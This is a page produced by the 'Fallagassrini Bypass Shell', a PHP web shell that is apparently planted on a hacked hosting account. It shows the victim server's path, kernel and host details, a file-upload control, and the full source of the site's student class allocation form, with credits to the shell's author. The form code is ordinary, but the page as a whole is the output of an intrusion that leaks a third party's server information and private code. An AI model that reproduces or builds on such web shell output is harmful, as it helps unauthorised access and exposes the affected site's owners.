? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/eduplus2/application/views/student/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/eduplus2/application/views/student/add_student_class.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
//$this->load->view('documentreadyfunctions');

$stud = array(0);
$index = 0;
?>

<script src="<?= base_url() ?>assets/scripts/jquery.autocomplete.js"></script>
<script type="text/javascript">  
    
    function suggestStudent(divid)
    {        
        $(divid).autocomplete("<?= site_url() ?>/master/autosuggeststudent/", {
            width: 250,
            selectFirst: false
            
        });
    }
    $(document).ready(function()
    {           
        $("#stud").css('display', "none");
        suggestStudent('#student'); 
    });
    function getFeeParticularAmount(fee_details_id,payment_type,index){     
        $('#first_month_div_'+index).hide();
        $('#pay_amount_'+index).show();
        $.ajax({
            type: "POST",
            dataType:"json",
            url: "<?= site_url() ?>/student/get_fee_details/"+fee_details_id+"/"+payment_type,
            success: function(msg)
            {
                if(payment_type=="monthly"){
                    $('#first_month_div_'+index).show();
                    $('#pay_amount_'+index).hide();
                    $('.pay_amount'+index).val(msg);
                    $('#pay_amount_'+index).val(0);
                    //                    $('.calfocus').datepick({dateFormat: 'dd-mm-yyyy'});
                }
                else{
                    $('#first_month_div_'+index).hide();
                    $('#pay_amount_'+index).show();
                    $('.pay_amount'+index).val(0);
                    $('#pay_amount_'+index).val(msg);
                }
                
            }
        });        
    }
    function getSessionAmount(session,divid){
        var res = session.split("~");
        $('#'+divid).val(res[1]);
    }
    function load_student_fee_details()
    {         
        var student_id = $('#student_id').val();   
        var no_sessions= $('#fee_term_no_of_days').val();   
        var term=<?= $class_details->class_term_id ?>; 
        if(student_id == "")
        {
            alert("Please select Student First");
        }
        else if(no_sessions==""){
            alert("Plaese select no of days.");
        }
        else
        {   
            var flag=0;
            var students=$('#list_stud_id').val();            
            $.each( students.split(','), function( key, list_student ) {
                if(term+"_"+student_id==list_student){
                    flag=1;
                }
            });            
            var index=$('#student_added tr').length+1;
            if(flag==1)
            {
                alert('Student is Already added'); 
            }
            else
            {        
                $("#stud_fee_details").empty().html('<CENTER><img src="<?= base_url() ?>assets/img/loading.gif" class="loading"/></CENTER>');
                $("#stud_fee_details").load("<?= site_url() ?>/student/load_student_fee_details/"+<?= $class_details->class_name_id ?>+"/"+student_id+"/"+<?= $class_details->class_name_academic_year_id ?>+"/"+<?= $class_details->class_session ?>+"/"+no_sessions+"/"+term);        
                $("#stud").css('display', "block");
            }         
        }

    }
    
    function checkallstd(status,tag)        
    { 
        $('#'+tag+ ' input').each(function(index,obj){
            if(obj.type === 'checkbox')
            {
                obj.checked = !status;
            }
        });
    }
</script>
<div class="row-fluid">
    <div class="tab-pane " id="tab_2">
        <div class="portlet box blue">
            <div class="portlet-title">
                <div class="caption"><i class="icon-reorder"></i>Class Allocation</div>
                <div class="tools">
                    <a href="#" onclick="viewdata('student','viewinstudentsearch','search_student_class','view_student_class','<?= $_SESSION['pagenum']; ?>')" class="remove"></a>
                </div>
            </div>
            <div class="portlet-body form">
                <!-- BEGIN FORM-->
                <?php
                $attributes = array('id' => 'validateform', 'class' => 'form-horizontal validate', 'onsubmit' => 'return Checkfiles();');
                echo form_open('student/addinstudent/insert_student_class/view_student_class/1', $attributes);
                ?>
                <h3 class="form-section">Class Details</h3>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Class Code</label>
                            <div class="controls">
                                <span class="text bold"><?= $class_details->class_name_code; ?></span>
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Class Room Name</label>
                            <div class="controls">
                                <span class="text bold"><?= $class_details->class_room_name; ?></span>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Term</label>
                            <div class="controls"><span class="text bold">
                                    <input type="hidden" name="term_id" id="term_id" value="<?= $class_details->class_term_id ?>" />
                                    <?= $this->mastermodel->get_single_field_value('term', 'term_name', 'term_id', $class_details->class_term_id); ?>
                                </span>
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Session</label>
                            <div class="controls">
                                <span class="text bold"><?= $this->mastermodel->get_single_field_value('session', 'session_name', 'session_id', $class_details->class_session);
                                    ?> </span>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Academic Year</label>
                            <div class="controls">
                                <span class="text bold"><?= $this->mastermodel->get_single_field_value('academic_year', 'display_name', 'academic_year_id', $class_details->class_name_academic_year_id); ?></span>
                            </div>
                        </div>
                    </div>


                </div>
                <input type="hidden" name="class_name_id"  id="class_name_id" value="<?= $class_details->class_name_id; ?>"/>






                <div class="row-fluid portlet box blue">
                    <div class="portlet-title">
                        <div class="caption"><i class="icon-reorder"></i>Add Student To <?= $class_details->class_name_code; ?></div>

                    </div>
                    <div class="portlet-body form">

                        <div class="row-fluid">
                            <div class="span6 ">
                                <div class="control-group">
                                    <label class="control-label">Student</label>
                                    <div class="controls">
                                        <input type="text" name="student" id="student"  value=''placeholder="Select Student" class="reset span12" />
                                        <input type="hidden" name="student_id" id="student_id" class="reset" />  
                                    </div>
                                </div>
                            </div>
                            <div class="span6 ">
                                <div class="control-group">
                                    <label class="control-label">No Of Days</label>
                                    <div class="controls">
                                        <?php
                                        $no_of_days = $this->mastermodel->getdatas('no_sessions');
                                        ?>
                                        <select id="fee_term_no_of_days" name="fee_term_no_of_days" class="chosen valid required span12" onchange="empty('#stud_fee_details')">
                                            <?php
                                            foreach ($no_of_days as $list)
                                            {
                                                echo '<option value="' . $list['no_sessions'] . '">' . $list['no_sessions'] . '</option>';
                                            }
                                            ?>
                                        </select> 
                                    </div>
                                </div>
                            </div>
                        </div>
                        <div class="row-fluid">
                            <div class="span6 ">
                                <div class="control-group">
                                    <label class="control-label">Date of Allotment</label>
                                    <div class="controls">
                                        <input type="text" name="class_allocation_date" id="class_allocation_date" class="calfocus span12" value="<?= date('d-m-Y') ?>"/>
                                    </div>
                                </div>
                            </div>
                            <div class="span6 ">
                                <div class="control-group">
                                    <label class="control-label"></label>
                                    <div class="controls">
                                        <input type="button" onclick="load_student_fee_details()" value="Load Fee Details " style="border: 1px solid #14526F;background-color: #71B4D3;color: white;padding: 5px;width: 200px;text-align: center;margin: 0 auto;margin-top: 10px;"/>  
                                    </div>
                                </div>
                            </div>
                        </div>
                        <div id="stud_fee_details" style="width: 100%;text-align: center;">
                        </div>
                    </div>
                </div>

                <h3 class="form-section"><?= $class_details->class_name_code; ?></h3>     
                <table class="table table-striped table-hover table-bordered" id="tbl1">
                    <thead>
                        <tr>
                            <th width="10%">Sl No</th>
                            <th width="25%">Student Name</th>
                            <th width="20%">Student Reg No.</th>
                            <th width="10%">Age</th>
                            <th width="10%">Gender</th>
                            <th width="15%">Nationality</th>
                            <th width="10%">No of Days</th>
                        </tr>
                    </thead>
                    <tbody id="list_student_added">
                        <?php
                        $html1 = '';
                        $html = '';
                        $index = 1;
                        $active = count($class_students) - (count($cancelled_student) + count($deactivate_student));
                        $slno1 = $active + 1;
                        $slno2 = $active + count($cancelled_student) + 1;
                        if (count($class_students))
                        {
                            $temp = "";
                            foreach ($class_students as $value)
                            {
                                $stud[] = $value['term_id'] . '_' . $value['student_id'];
                                if (in_array($value['student_id'], $cancelled_student))
                                {
                                    $status = 'Cancelled';
                                }
                                elseif (in_array($value['student_id'], $deactivate_student))
                                {
                                    $status = 'Deactivated';
                                }
                                else
                                {
                                    $status = 'Active';
                                }
                                ?>
                                <tr>
                                    <td><?= $index ?></td>
                                    <td><?= $value['first_name'] . " " . $value['last_name'] ?></td>
                                    <td><?= $value['reg_no']; ?></td>
                                    <td>
                                        <?php
                                        /* 'yyyy-mm-dd format' */
                                        $age_details = $this->mastermodel->getAgeDetails($value['dob']);
                                        echo $age_details['in_words'];
                                        ?>
                                    </td>
                                    <td><?= $value['gender']; ?></td> 
                                    <td><?= $this->mastermodel->get_single_field_value('nationality', 'nationality_name', 'nationality_id', $value['nationality_id']) ?></td>
                                    <td><?= $value['no_of_days'] ?></td>
                                </tr>
                                <?php
                                $index++;
                            }
                        }
                        else
                        {
                            ?>
                        <td colspan="7" style='background-color:#71B4D3;color:white;' >
                            No student is in this Class
                        </td>
                        <?php
                    }
                    ?>
                    </tbody>


                </table>
                <input type="hidden" value="<?= implode(',', $stud) ?>" name="list_stud_id" id="list_stud_id" />
                <div class="form-actions" id="sub">

                    <button type="submit"  class="btn blue" onclick="addformdata('validateform')"><i class="icon-ok"></i> Save</button>
                    <button type="button" onclick="viewdata('student','viewinstudentsearch','search_student_class','view_student_class','<?= $_SESSION['pagenum']; ?>')" class="btn">Cancel</button>
                </div>
                <?php
                echo form_close();
                ?>
                <!-- END FORM-->                
            </div>
        </div>
    </div>
</div>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net